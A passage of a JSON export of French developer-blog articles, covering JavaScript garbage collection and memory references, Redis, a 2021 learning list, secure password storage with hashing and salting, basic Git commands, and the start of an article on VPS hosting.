références).**\n\n**Cet algorithme consiste tout simplement à stocker, pour chaque zone de la mémoire dynamique utilisée, le nombre de références qui pointent vers cette zone**, puis d'incrémenter ce chiffre à chaque nouvelle référence ou et de le décrémenter à chaque suppression d'une référence.\n\n**Lorsque le nombre de références tombe à 0, alors c'est qu'il est temps de libérer cette zone mémoire.**\n\nCette approche est fonctionnelle mais elle pose quelques problèmes, dont deux principaux :\n\n* Le garbage collector est en activité quasi-constante, **parfois pour libérer une seule petite zone mémoire, perdant donc de l'efficacité**\n* L'algorithme est **incapable de libérer les zones mémoires pointées par des références circulaires**\n\n> Une référence circulaire peut-être créée lorsqu'un objet se référence lui-même, ou lorsque deux objets contiennent chacun une référence vers l'un vers l'autre.\n\nDans le cas d'une référence circulaire, le nombre de références ne peut jamais tomber à zéro et la zone mémoire ne sera jamais libérée, **c'est ce que l'on appelle une fuite de mémoire (il en existe de beaucoup d'autres types).**\n\n> Pour palier à celà, Javascript implémente à la place un autre algorithme appelé \"Mark and Sweep\".\n\n### L'approche Mark and Sweep\n\nJavascript, peu importe son environnement d'exécution (Navigateur web ou NodeJS), met à disposition **un objet racine auquel toutes les variables et les fonctions de premier niveau sont rattachées.**\n\n> Ces objets sont \"window\" dans le navigateur et \"process\" en NodeJS\n\nCe qui signifie que **n'importe quel objet d'une application Javascript doit rester accessible en remontant depuis l'objet racine**, jusqu'à l'objet en traversant toutes les références nécessaires.\n\nSi on le prend à l'envers, celà signifie que toute zone mémoire allouée par Javascript mais non-atteignable depuis l'objet racine **est en fait une zone qui peut être libérée !**\n\n**L'algorithme de Mark and Sweep du garbage collector consiste donc à \"flaguer\" tous les objets inatteignables** depuis la racine pour qu'ils soit tous collectés en même temps dès que Javascript aura besoin de libérer de la mémoire.\n\nCette approche résout donc les deux problèmes présentés dans l'approche de \"reference-counting\", car **une référence circulaire est coupé de l'objet racine dès lors qu'aucune autre référence pointe vers cette dernière.**\n\nÀ noter que le passage du garbage collector est donc imprévisible, et que **son exécution peut introduire d'autres effets de bord comme le ralentissement de l'application à ce moment-là.**\n\n","Qu'est-qu'un garbage collector et comment Javascript gère la libération de sa mémoire ?","comment-fonctionne-le-garbage-collector-en-javascript","2021-02-16T07:21:20.000Z","2023-09-19T15:05:39.926Z","2021-03-15T09:44:52.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/03/neonbrand-8Yk4T-tDSYY-unsplash.jpg",{"id":1439,"title":1440,"content":1441,"socialTitle":8,"description":1442,"socialDescription":8,"slug":1443,"createdAt":1444,"updatedAt":1445,"publishedAt":1446,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1447,"coverCopyright":1448,"coverCopyrightLink":1449},195,"Comprendre les primitives et les références en Javascript","**En Javascript, toutes les données ne sont pas gérées de la même manière, ni au même endroit dans la mémoire**, ce qui peut porter à confusion et entrainer quelques erreurs, nous allons donc voir ensemble pour comprendre toutes ces subtilités.\n\nLorsque vous et déclarez et initialisez une nouvelle variable, vous allez **réserver un espace dans la mémoire de la machine.**\n\n> Généralement dans la RAM, la mémoire vive.\n\n**Cet espace sera plus ou moins grand selon la donnée que vous allez devoir y stocker** (1 bit pour un booléen, 8 bit pour un caractère, etc...), l'objectif étant que votre programme prenne le moins de place possible en mémoire, et surtout ne gaspille pas de la place inutilement.\n\nS'il est possible de connaitre à l'avance la taille d'une donnée pour certains types (comme les booléens), **ce n'est pas le cas pour tous**, comme les types complexes par exemple (object, array, function, etc...)\n\nVoilà pourquoi Javascript met à disposition **deux grands types de données bien différents : les données primitives et les références**.\n\n## Les types primitifs\n\nIl se comptent au nombre de 7 en Javascript, et sont : **string, number, bigint, boolean, undefined, null et symbol.**\n\n**La caractéristique principale de ces types est que leurs valeurs sont \"immutables\"** (immuables en français), ce qui signifie qu'elles ne peuvent pas changer.\n\n> Pourtant lorsque je déclare une nouvelle chaine de caractère, je peux changer sa valeur !\n\n**On pourrait le croire, mais en fait non.**\n\nChaque nouvelle donnée est stockée à une adresse mémoire bien précise (là où débute la donnée), et **lorsque vous modifiez une primitive, vous ne modifiez pas la valeur à l'emplacement de l'adresse mémoire**, mais vous demandez une nouvelle adresse disponible pour y stocker cette nouvelle donnée.\n\nExemple :\n\n```\n\nlet nbr = 5; //L'adresse (fictive) 0x0001 contient le chiffre 5\nnbr = 3; //Une nouvelle adresse 0x0002 contient désormais le chiffre 3\n\n//La case mémoire 0x0001 sera libérée dès que possible, car plus utilisée\n\n```\n\nUne valeur primitive n'est jamais altérée, **la variable qui pointe dessus, elle, peut être réassignée (sauf avec const) mais la valeur ne sera pas modifiée**.\n\nPour vous le prouver, vous pouvez essayer cette petite expérience, directement dans votre console :\n\n```\n\nlet a = \"hello\"; //Adresse 0x0001\nlet b = a; //Adresse 0x0001\n\na += \" world\" //Adresse 0x0002\nconsole.log(a); // -> \"hello world\";\nconsole.log(b); // -> \"hello\";\n\n```\n\nVous voyez, même si la variable b pointe sur la même adresse que la variable a au départ, **lorsque l'on modifie la valeur de a, la valeur de b ne change pas, car une nouvelle adresse mémoire a été assignée à la variable a.**\n\n> Les valeurs primitives sont donc stockées dans un espace appelé **la mémoire \"statique\", aussi appelée \"stack\"**.\n\n## Les références\n\nContrairement aux valeurs primitives, **les valeurs complexes elles sont stockées dans la partie \"dynamique\" de la mémoire car leur taille est variable** et peut évoluer au fil de l'exécution du programme, les rendant donc \"imprévisibles\".\n\nImaginez qu'une variable ait besoin de 8 bits de place pour être stockée, **si le système d'exploitation trouve un espace de 8 bits libres entre deux autres données, alors il va pouvoir exploiter** cet espace et le dédier à cette nouvelle variable.\n\nMais imaginons maintenant que notre variable n'a plus besoin de 8 bits mais de 16 car elle a grossie, **alors notre variable ne va plus loger à l'adresse actuelle et va devoir être déplacée ailleurs dans la mémoire.**\n\n**Nous avons donc besoin d'une variable qui ne contient non plus une simple valeur, mais qui contient une référence vers une adresse mémoire qui peut changer**, cette référence est donc dynamique et doit pointer vers l'objet, quelle que soit son emplacement dans la mémoire.\n\n> On parle donc **de mémoire dynamique, aussi appelée \"heap\"**.\n\nCe qui induit un comportement différent lors de la modification d'une variable.\n\n**On ne modifie plus la valeur derrière la variable, mais on modifie la valeur derrière la référence derrière la variable**, donc si plusieurs variables contiennent la même référence, la modification de l'objet sera effective pour toutes les variables qui pointent dessus.\n\nExemple :\n\n```\n\nlet a = {txt: \"hello\"}; //Référence r0 vers l'objet\nlet b = a; //Référence r0 vers le même objet\n\na.txt += \" world\" //Adresse 0x0002\nconsole.log(a); //\"hello world\";\nconsole.log(b); //\"hello world\";\n\n```\n\nNos deux variables ne stockent donc plus des valeurs, **mais des références vers une même valeur qui peut changer.**\n\n","Il n'y a pas toujours besoin de connaitre le fonctionnement interne du langage, mais certains concepts sont indispensables !","comprendre-les-primitives-et-les-references-en-javascript","2021-02-16T07:59:17.000Z","2023-09-19T15:05:39.957Z","2021-02-16T12:18:58.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/02/ksenia-kudelkina-Wvas_uTO8wQ-unsplash.jpg","Ksenia Kudelkina sur Unsplash","https://unsplash.com/@kseny?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1451,"title":1452,"content":1453,"socialTitle":8,"description":1454,"socialDescription":8,"slug":1455,"createdAt":1456,"updatedAt":1457,"publishedAt":1458,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1459,"coverCopyright":1460,"coverCopyrightLink":1461},196,"Découvrez Redis, une base de données rapide comme l'éclair !","Lorsque l'on parle de base de données, on pense souvent aux bases relationnelles comme MySQL, MariaDB ou encore PostgreSQL, mais **tous les systèmes de gestions de bases de données (SGBD) ne sont pas relationnels, et tous n'utilisent pas le langage SQL.**\n\n> On regroupe tous ces systèmes sous un nom : **le NoSQL (littéralement pas de SQL).**\n\nMais sous cette bannière très (trop) large, on y retrouve des systèmes très différents, comme des bases de données **de documents, de graphes ou encore des dictionnaires (clés-valeurs).**\n\nAujourd'hui nous allons parler de Redis, **l'une des bases NoSQL les plus populaires et les plus rapides du marché.**\n\n## Les particularités de Redis\n\nRedis est avant tout un système de base de données, **son rôle est donc de recevoir des données, de les stocker et de les redistribuer à la demande**, mais son fonctionnement diffère assez largement des systèmes les plus classiques, notamment au travers de ces trois particularités :\n\n### Les données \"In-memory\"\n\nLa majorité des SGBD stockent les données collectées sur un disque dur physique, mais pour améliorer la rapidité de son système, Salvatore Sanfilippo le créateur de Redis, décide que **les données injectées dans ce dernier seront directement stockées dans la mémoire vive (RAM) de la machine.**\n\nNéanmoins, des copies des données sont faites très régulièrement et stockées sous forme de fichiers binaires, **afin que les données puissent être rechargées et remontées en RAM lors d'une défaillance de la machine.**\n\n> Ce stockage en mémoire vive en fait une des bases de données les plus rapide pour l'accès aux données, que ce soit en lecture ou en écriture.\n\nPour référence, la documentation officielle de Redis stipule que ce dernier est capable de \"**scanner une base de 1 million de clés en 40 millisecondes en tournant sur un ordinateur portable d'entrée de gamme**\".\n\n### Le stockage clé-valeur\n\n**Ici pas de table, pas de documents, mais pour chaque entrée dans la base : une valeur, associée à une clé unique.**\n\n> On parle plus souvent de dictionnaire, et c'est d'ailleurs de là que vient le nom de Redis qui signifie \"**RE**mote **DI**ctionnaire **S**erver\".\n\nSi vous avez l'habitude d'indexer vos données avec des clés primaires (et secondaires), dites-vous que **Redis ne contient qu'un seul index, celui des clés présentes dans la base.**\n\n> Si vous avez l'habitude d'utiliser le localStorage en web, c'est exactement la même chose, c'est un stockage clé-valeur, un dictionnaire.\n\nIci pas d'auto-incrémentation, **c'est vous qui décidez du nom de chaque clé pour chaque valeur que vous allez stocker.**\n\n**Pour qu'elles soient uniques, les clés sont souvent composées de plusieurs \"_namespace_\"**, le plus souvent séparés par deux points, ce qui nous donne par exemple : \"user:nicolas@brondin.com\" ou encore \"analytic:signup:2020:02:17\".\n\n### Les types de données\n\n**Derrière chaque clé dans la base se trouve une valeur, mais cette valeur peut prendre différents types**, allant de la simple chaine de caractères jusqu'à des types complexes et très pratiques dont voici une liste non-exhaustive :\n\n* Chaine de caractères (**String**)\n* Listes de valeurs (**List**)\n* Ensemble non-ordonné (**Set**)\n* Ensemble ordonné (**Sorted set**)\n* Dictionnaire (**Hash**)\n\nSi vous n'êtes pas familier avec ce genre de structures de données :\n\n* Un ensemble (Set) est **une liste dont les valeurs ne doivent pas se répéter**\n* Un dictionnaire (Hash), permet de stocker **des objets sous la forme clés-valeurs, comme en JSON**\n\n## Quelques fonctionnalités\n\n**Redis offre de nombreuses fonctionnalités pour retrouver une clé (ou un ensemble de clés) très rapidement**, pour ensuite pouvoir récupérer la valeur, la modifier ou la supprimer.\n\n**Comme avec un vrai dictionnaire, on ne recherche pas une définition précise pour trouver un mot**, ce serait trop long.\n\n> On cherche d'abord un mot, trié dans un ordre logique, pour voir sa définition.\n\nIci, c'est la même chose, nous avons un ensemble de commandes pour parcourir ce dictionnaire et le modifier, pour le reste, **c'est à vous de faire attention à la manière dont vous allez penser et créer vos clés !**\n\n### Création d'une clé\n\nAvec Redis on ne demande pas à créer de nouvelles clés, **on rentre une valeur associée à une clé, si cette dernière existe déjà, elle est modifié, sinon elle est créée.**\n\nPar exemple, pour sauvegarder une nouvelle valeur de type String, on pourra simplement faire :\n\n* SET key \"value\"\n* ou bien MSET key \"value\" \\[key \"value\" ...\\]\n\n**La commande MSET permet de créer plusieurs couples clés-valeurs (String) dans la même opération.** À noter qu'il existe des commandes différentes pour les autres types de données.\n\n> Lien vers la documentation officielle de [SET](https://redis.io/commands/set) et [MSET](https://redis.io/commands/mset)\n\n### Opérations multiples\n\nTout comme MSET vu précédemment, **il est possible d'effectuer des commandes sur plusieurs clés en même temps, créant alors des opérations atomiques** (qui ne peuvent pas être séparées en plusieurs sous-opérations), par exemple :\n\n* MGET key \\[key ...\\] pour récupérer les valeurs de plusieurs clés\n* DEL key \\[key ...\\] pour supprimer plusieurs clés\n\n> Lien vers la documentation officielle de [MGET](https://redis.io/commands/mget) et [DEL](https://redis.io/commands/del)\n\n### Recherche de clé par pattern\n\n**Il est possible de rechercher une liste de clés suivant le même format, en utilisant une syntaxe proche des expressions régulières.**\n\nPrenons par exemple une base contenant les clés :\n\n* \"user:nicolas@gmail.com\"\n* \"user:john@live.fr\"\n* \"sandrine@gmail.com\"\n\nPour récupérer les clés des utilisateurs inscrits avec une adresse gmail, il suffira de faire :\n\n* KEYS user:\\*@gmail.com\n\n> Lien vers la documentation officielle de la commande [KEYS](https://redis.io/commands/keys)\n\n### Transactions\n\n**Redis permet d'effectuer des opérations atomiques de différentes natures au sein d'une transaction.**\n\n**La notion de transaction est indispensable en base de données** car elle permet de s'assurer que toutes les opérations se sont déroulées avec succès avant de sauvegarder les modifications dans la base.\n\n**Cela permet de s'assurer de l'intégrité des données**, et avec Redis il est possible de le faire en combinant les commandes EXEC et MULTI comme ceci :\n\nMULTI \nSET hello \"world\" \nGET hello \nEXEC\n\nIci on ne récupèrera le contenu de la clé hello que si elle a bien été créé auparavant, **ce cas d'usage est évidemment uniquement à titre d'exemple**.\n\n> Lien vers la documentation officielle de [](https://redis.io/commands/multi)[M](https://redis.io/commands/multi)ULTI et [EXEC](https://redis.io/commands/multi)\n\n### Et bien d'autres\n\nLe but ici n'est pas de faire une liste exhaustive de toutes les fonctionnalités, mais de vous montrer que **la première prise en main de Redis est accessible à la majorité des développeurs (et développeuses) sans trop d'obstacles.**\n\nPour aller plus loin, il est aussi possible de gérer **des flux**, des **données géo-spatiales**, de gérer des envois de **messages en temps-réel**...\n\n## Les cas d'usage\n\nParmi les entreprises qui utilisent Redis, on peut notamment citer **Twitter, GitHub, Snapchat et StackOverflow** qui ne sont qu'une fraction des utilisateurs, mais qui montre la solidité de cette technologie.\n\nMais au final, à quoi peut servir Redis ? **Peut-on s'en servir comme une base de données classique ?**\n\n> **La réponse est oui, mais ce n'est pas le meilleur usage que vous puissiez en faire.**\n\nSi vous avez un schéma de données contenant beaucoup de relations les unes avec les autres, alors **il est plus judicieux d'utiliser un système de base de donnée relationnelle en base principale.**\n\n**Mais l'intérêt de Redis est de tourner en parallèle de votre SGBD classique pour gérer des données spécifiques**, soient parce qu'elles sont très nombreuses, soit parce que ces données nécessite une vitesse de lecture ou d'écriture très élevée.\n\nVoici donc quelques exemples d'utilisation d'une base Redis :\n\n* Mise en cache de pages HTML\n* Mise en cache de requêtes SQL\n* Stockage de sessions utilisateurs\n* Gestion des notifications d'un réseau social\n* Analyses en temps réelles et statistiques\n* ...\n\n**Maintenant c'est à vous de trouver quel usage vous allez pouvoir faire de cette base** de données dans l'architecture de votre projet !\n\n","Introduction à ce système de gestion de bases de données NoSQL assez surprenant.","redis-une-base-de-donnees-rapide-comme-l-eclair","2021-02-16T22:31:38.000Z","2023-09-19T15:05:39.990Z","2021-02-17T08:32:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/02/guillaume-jaillet-Nl-GCtizDHg-unsplash.jpg","Guillaume Jaillet sur Unsplash","https://unsplash.com/@i_am_g?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1463,"title":1464,"content":1465,"socialTitle":8,"description":8,"socialDescription":8,"slug":1466,"createdAt":1467,"updatedAt":1468,"publishedAt":1469,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1470,"coverCopyright":1471,"coverCopyrightLink":1472},197,"Ma liste de technos à apprendre ou approfondir en 2021","L'inconvénient d'écrire un article par jour sur ce blog, c'est que j'utilise **un temps dans ma journée qui était autrefois dédié à la découverte**, à l'expérimentation et l'apprentissage de nouvelles technos.\n\n> Je ne regrette rien, l'écriture, le partage de connaissance et les retours des lecteurs apportent énormément à mon épanouissement personnel.\n\nMais l'objectif pour 2021 est donc de retrouver un peu de temps pour approfondir mes connaissances sur certaines technologies et certains outils , **que ce soit pour mon métier de développeur web, ou pour ma compréhension générale de l'écosystème informatique.**\n\nCette liste est à la fois un mémo personnel, et à la fois une manière de **vous donner des idées de choses à étudier si vous avez du temps libre** et si cela vous intéresse !\n\nÀ noter que je parlais déjà de certaines de ces technologies dans mon article intitulé \"[**L'évolution de ma stack technique de mes débuts à aujourd'hui**](https://code-garage.fr/levolution-de-ma-stack-technique-de-mes-debuts-a-aujourdhui/)\".\n\n## Typescript\n\nDe mémoire j'ai commencé à contribuer à des projets en Typescript depuis 2019, donc je suis suffisamment à l'aise avec le langage pour écrire du code, mais **ma maitrise du sujet n'est pas encore parfaite et je n'ai pas encore le réflexe de l'utiliser pour mes nouveaux projets**, je vais donc essayer de remédier à ça !\n\n> [](https://www.typescriptlang.org/)[Lien vers le site de](https://www.typescriptlang.org/) Typescript\n\n## Storybook\n\nStorybook est un outil qui permet de gérer une bibliothèque de composants web facilement, de les explorer et de les tester de manière isolée.\n\nCette technologie me fait de l’œil depuis un moment maintenant, **mais je n'ai pas encore eu l'occasion de la mettre en place !**\n\n> [Lien vers le site de Storybook](https://storybook.js.org/)\n\n## PostgreSQL\n\nCela fait plusieurs années que je suis passé de MySQL à MongoDB pour mes différents projets, et avec le recul j'ai bien compris que **finalement assez peu de projets nécessitent vraiment d'avoir du NoSQL comme base de données principale.**\n\n**L'objectif est de revenir par défaut sur un système de base relationnelle**, et d'après la communauté des développeurs back-end, il ne faut pas passer à côté de PostgreSQL, donc un sujet supplémentaire à étudier.\n\n> [Lien vers le site de PostgreSQL](https://www.postgresql.org/)\n\n## Nginx\n\nÀ force de déployer des projets uniquement grâce aux hébergeurs cloud, **on en vient vite à perdre la main sur l'administration système et l'auto-hébergemen**t.\n\nJ'aimerais ne pas seulement utiliser Nginx comme un serveur web, mais m'en servir comme un **reverse-proxy pour héberger plusieurs applications NodeJS sur une même machine et d'apprendre à maîtriser ses fonctionnalités de load-balancing.**\n\n> [Lien vers le site de Nginx](https://www.nginx.com/)\n\n## Docker\n\nJ'ai participé à plusieurs projets clients sur lesquels **l'environnement de développement était géré avec Docker** ce qui m'a fait réalisé qu'il faudrait que j'expérimente ça de mon côté.\n\n> [Lien vers le site de Docker](https://www.docker.com/)\n\n## Rust\n\nJ'ai commencé mon apprentissage approfondi de la programmation par le C++, et depuis **je n'ai pas beaucoup retouché à un langage de bas-niveau, et je dois avouer que ça me manque un peu**.\n\nJe suis récemment tombé sur un article de **FasterThanLime intitulé \"[A half-hour to learn Rust](https://fasterthanli.me/articles/a-half-hour-to-learn-rust)\"** et recommandé par plusieurs développeurs expérimentés sur ce langage, je vais donc essayer de lui donner une chance !\n\n> [Lien vers le site de Rust](https://www.rust-lang.org/)\n\n## Arduino\n\n**Ce n'est pas seulement Arduino mais c'est l'électronique et les systèmes embarqués en général que j'ai envie d'approfondir**, car si j'ai les bases et que je suis capable de monter des systèmes simples, j'arrive vite à la limite de mes capacités.\n\nSi ça vous intéresse, vous pouvez retrouver mes deux articles liés à Arduino  :\n\n* \"[Arduino ou comment créer ses propres objets électroniques](https://code-garage.fr/arduino-ou-comment-fabriquer-ses-propres-objets-electroniques/)\"\n* \"[Building an open source white noise and mp3 player for babies using ESP32](https://code-garage.fr/en/building-an-open-source-mp3-player/)\".\n\nL'objectif est d'arriver à créer des systèmes électroniques plus complexes et **d'améliorer ma compréhension profonde de la communication entre l'électronique et le software.**\n\n> [Lien vers le site du projet](https://www.arduino.cc/) [Arduino](https://www.arduino.cc/)\n\n","ma-liste-de-technos-a-apprendre-ou-approfondir-en-2021","2021-02-17T21:10:39.000Z","2023-09-19T15:05:40.014Z","2021-02-18T07:24:01.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/02/eric-prouzet-jLtXXn7n16k-unsplash.jpg","Eric Prouzet sur Unsplash","https://unsplash.com/@eprouzet?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1474,"title":1475,"content":1476,"socialTitle":8,"description":1477,"socialDescription":8,"slug":1478,"createdAt":1479,"updatedAt":1480,"publishedAt":1481,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1482,"coverCopyright":1180,"coverCopyrightLink":1181},198,"Guide : Stocker des mots de passe de manière sécurisée","J'espère que toutes les fuites de données de ces dernières années ont laissé une empreinte indélébile dans l'esprit des développeurs : **Ne jamais stocker des mots de passe en clair dans une base de données. Jamais.**\n\nUne fois ce rappel obligatoire fait, nous pouvons passer au cœur du problème, à savoir : **quelles sont les bonnes pratiques pour stocker les mots de passe de vos utilisateurs ?**\n\nTout d'abord, vous devez vous mettre en tête que peu importe la taille de votre site, un attaquant sera éventuellement capable de :\n\n* Récupérer les informations de **votre base de données**\n* Avoir accès au **code source** du serveur\n* Automatiser des **actions pour essayer de s'introduire**\n\n**Bien sûr, votre objectif est de tout faire pour éviter que cela arrive**, mais il faut que vous gardiez ces informations en tête lors de la conception de votre système de mots de passe.\n\n## Communiquer en https\n\nLa première étape est de sécuriser votre site web (ou votre application) en forçant la communication par https car **lors de l'inscription ou de la connexion, le mot de passe de votre utilisateur sera envoyé en clair dans la requête.**\n\nPour éviter tout problème d'interception des données, **assurez vous que le chiffrement de ces données soit effectué grâce à un certificat SSL**, c'est la première étape de sécurisation du mot de passe.\n\n## Hashage\n\nUne fois arrivé sur le serveur, le mot de passe devra être \"hashé\" avant d'être sauvegardé en base de données. **Attention, on ne chiffre (encrypte) pas le mot de passe, mais on le hash, les deux notions sont complètement différentes.**\n\n**Une donnée chiffrée doit pouvoir être déchiffrée grâce à la clé** de chiffrement utilisée et l'on doit pouvoir retrouver l'information originelle intacte, les méthodes de hashages sont dites \"destructives\".\n\n> Si vous n'êtes pas familier avec les hashs, je vous invite à lire mon article dédié juste en dessous !\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2022/01/max-delsid-81QFH8r4xog-unsplash.jpg)Comment fonctionne le hashage ? - Blog - Code-Garage](https://code-garage.fr/blog/comment-fonctionne-le-hashage/)\n:::\n\n> Si vous voulez aller encore plus loin, il y a [un très bon article sur le blog de Auth0](https://auth0.com/blog/hashing-in-action-understanding-bcrypt/) que je vous recommande !\n\n## Grain de sel\n\nÀ première vue, lorsque vos mots de passe sont hashés avec un algorithme suffisamment sécurisé, même si votre base de données subit une fuite, **les attaquants n'auront pas directement accès aux mots passe de clairs.**\n\nMais si ces dernier arrivent à découvrir quel algorithme de hashage a été utilisé (ce qui est possible), il leur reste quand même la possibilité de générer des mots de passe et de les comparer aux hashs trouvés en utilisant des techniques comme  :\n\n* Le brut-force: Tester toutes les possibilités de suites de caractères différents\n* Les dictionnaires : Tester des combinaisons de mots issus des informations personnels et de mots usuels\n\n**Certains attaquants utilisent même ce qu'on appelle des \"rainbow-table\", d'immenses tableaux de hashs déjà générés** (avec les méthodes ci-dessus) avec l'algorithme de hashage trouvé précédemment, ces tableaux peuvent parfois peser jusqu'à plusieurs Tera-octets.\n\n**Pour freiner (voir empêcher) ces attaques, on utilise la méthode du grain de sel (ou du salage)** qui consiste à ajouter une chaine de caractères au mot de passe avant qu'il ne soit hashé.\n\nCe grain de sel permet de **rallonger la taille du mot de passe de base** (et donc de le rendre plus long à craquer, car plus long à générer), et de **limiter l'utilisation de dictionnaires et des rainbow-tables.**\n\n### Statique\n\n**Le salage statique consiste à ajouter toujours la même chaine de caractères pour tous les mots de passe enregistrés**, ce grain de sel doit rester secret, car sinon son efficacité est corrompue.\n\n**Cette technique permet de ralentir la récupération des mots de passe, mais elle n'empêche pas l'utilisation de rainbow-tables**, ces dernières devront simplement être générées spécifiquement pour ce site en particulier.\n\n### Dynamique\n\n**Le salage dynamique consiste à générer aléatoirement un grain de sel pour chaque utilisateur**, et de le stocker en plus du mot de passe dans la base de donnée (ou au mieux dans une base de donnée séparée).\n\n**Cette technique vise notamment à empêcher l'utilisation d'une rainbow-table sur l'entièreté de la base de données**, car chaque utilisateur ayant un grain de sel différent, il est impossible de pré-calculer tous les hashs pour tous les grains de sels possibles.\n\n","Deux concepts majeurs : le hashage et le salage.","apprendre-a-stocker-des-mots-de-passe-de-maniere-securisee","2021-02-19T08:19:10.000Z","2023-09-22T15:59:24.362Z","2021-08-10T09:18:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/02/markus-spiske-FXFz-sW0uwo-unsplash.jpg",{"id":1484,"title":1485,"content":1486,"socialTitle":8,"description":1487,"socialDescription":8,"slug":1488,"createdAt":1489,"updatedAt":1490,"publishedAt":1491,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1492,"coverCopyright":8,"coverCopyrightLink":8},209,"Les 6 commandes basiques pour démarrer un projet avec Git","**Git est ce que l'on appelle un gestionnaire de version décentralisé**, ce qui signifie que chaque contributeur travaille sur sa propre version locale, et doit synchroniser régulièrement ses modifications avec le ou les dépôts distants.\n\nPourquoi avoir plusieurs dépôts distants ? **Car en général on utilise un dépôt distant principal pour la sauvegarde et la collaboration (lecture et écriture)**, mais on peut aussi en utiliser d'autres qui serviront uniquement à déployer le code dans une version spécifique.\n\n> La plupart des hébergeurs cloud fonctionnent de cette manière, on leur \"pousse\" une nouvelle version du code, et ces derniers déploient la nouvelle version de l'application.\n\n## Initialisation du dépôt local\n\n```\n$ git init\n```\n\nC'est grâce à cette commande que **notre simple dossier projet va devenir un dossier versionnable**, elle va générer un dossier caché appelé .git qui va contenir toutes les métadonnées nécessaires à Git pour gérer les versions du code (configuration, historique, etc...)\n\n## Lier un dépôt distant\n\n```\n$ git remote add [nom de l'origine] [url]\n```\n\nPouvoir versionner son code en local est une fonctionnalité très puissante pour la gestion d'un projet, mais dans le cas où vous devez **collaborer avec d'autres développeurs**, ou même assurer que **votre code soit sauvegardé à plusieurs endroits**, vous aurez besoin de créer une référence à un dépôt distant.\n\nGrâce à cette commande, on va lier notre dépôt local à une copie distante, et **pouvoir profiter de fonctionnalités de sauvegarde et de gestion de projets** comme le propose des plateformes comme Github ou encore Gitlab par exemple.\n\n> Dans la majorité des cas, le nom de l'origine est simplement \"origin\", mais rien ne vous empêche de le changer, ou d'ajouter plusieurs origines avec des noms différents !\n\n## Afficher les changements du dépôt local\n\n```\n$ git status\n```\n\nAvant de sauvegarder nos modifications, il peut être utile de **savoir exactement quels changements ont été opérés dans notre version locale**, quels fichiers ont été créés, modifiés ou supprimés afin de les ajouter à la sauvegarde.\n\n## Ajout d'un ou plusieurs fichiers à la prochaine sauvegarde\n\n```\n$ git add [fichier ou répertoire]\n```\n\n**Git ne sauvegarde les modifications que des fichiers dont l'utilisateur a demandé le suivi explicite.** Cette commande permet donc de dire à Git que le ou les fichiers en question doivent être ajoutés à la prochaine sauvegarde si ils ont été modifiés !\n\n## Création de la sauvegarde locale\n\n```\n$ git commit -m \"[message]\"\n```\n\n**Permet de sauvegarder les modifications effectuées** sur les fichiers qui ont été explicitement ajoutés au préalable et d'y ajouter un message (important pour savoir globalement ce qui a été modifié).\n\n## Récupération d'éventuelles sauvegardes distantes\n\n```\n$ git pull [nom de l'origine] [branche]\n```\n\nAvant d'envoyer l'ensemble de ses sauvegardes locales sur la copie distante, **il est nécessaire de vérifier qu'aucune autre modification n'a été précédemment sauvegardée à distance.**\n\n> Cette vérification n'est en général nécessaire que si plusieurs personnes collaborent sur le même projet.\n\nGit vous donne la possibilité de gérer plusieurs versions d'un même projet et de **passer facilement d'une version à l'autre, pour se faire il utilise des identifiants que l'on appelle des branches.** La version principale d'un projet se trouve sur la branche \"master\", aussi parfois appelée \"main\".\n\n> Si quelqu'un d'autre a modifié les mêmes fichiers que vous sur la même branche, il se peut que la commande pull résulte en **un conflit que vous devrez résoudre localement** avant de de pouvoir sauvegarder la version corrigée.\n\n## Envoi de toutes les nouvelles sauvegardes locales au dépôt distant\n\n```\n$ git push [nom de l'origine] [branche]\n```\n\nUne fois que votre version locale est propre, que vous avez enregistré toutes les modifications effectuées sur votre copie du projet avec Git, **la commande push vous permettra d'envoyer vos sauvegardes locales directement sur le dépôt distant.**\n\nCe n'est qu'une fois enregistrées sur la copie distante que **vos modifications sont sécurisées et accessibles par les autres contributeurs du projet.**","Git est un outil hyper-puissant et possédant des centaines de commandes différentes mais voilà quelques basiques !","les-commandes-basiques-pour-demarrer-un-projet-avec-git","2021-03-08T06:54:03.000Z","2023-09-22T13:56:37.636Z","2021-03-08T08:52:14.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/03/pexels-christina-morillo-1181676-1.jpg",{"id":1494,"title":1495,"content":1496,"socialTitle":8,"description":1497,"socialDescription":8,"slug":1498,"createdAt":1499,"updatedAt":1500,"publishedAt":1501,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1502,"coverCopyright":8,"coverCopyrightLink":8},210,"Qu'est-ce qu'un VPS ?","**[Dans mon article sur l'hébergement web mutualisé](https://code-garage.fr/blog/qu-est-ce-qu-un-hebergement-web-mutualise/)**, j'expliquais qu'on ne loue pas l'accès à une machine virtuelle au complet, mais seulement l'accès à un compte utilisateur sur une machine virtuelle.\n\n**Pour le VPS en revanche, l'hébergeur nous donne accès à une des machines virtuelles installées** sur l'une de leurs machines physiques, c'est d'ailleurs ce que signifie cet acronyme : \"Virtual Private Server\".\n\nÀ la différence d'un hébergement web mutualisé, **vous pourrez donc avoir les droits d'administrateurs sur le système, créer autant de comptes utilisateurs que vous le désirez**, installer des outils en toute liberté, dans la limite des performances allouées à votre machine virtuelle.\n\nCar oui, comme un serveur est découpée en plusieurs machines virtuelles, **les performances de celui-ci sont distribuées** entre les différents systèmes d'exploitations en fonction de l'offre commerciale que vous aurez sélectionné.\n\nDans un hébergeur mutualisé, vous devez prêter attention à la sécurité de votre application, **mais avec un VPS, vous devez aussi faire attention à la sécurité de votre système** car vous êtes responsable de la gestion de vos interfaces réseaux.\n\n**Certains VPS proposent néanmoins un service de pare-feu** directement configurable depuis votre espace d'administration, mais la bonne 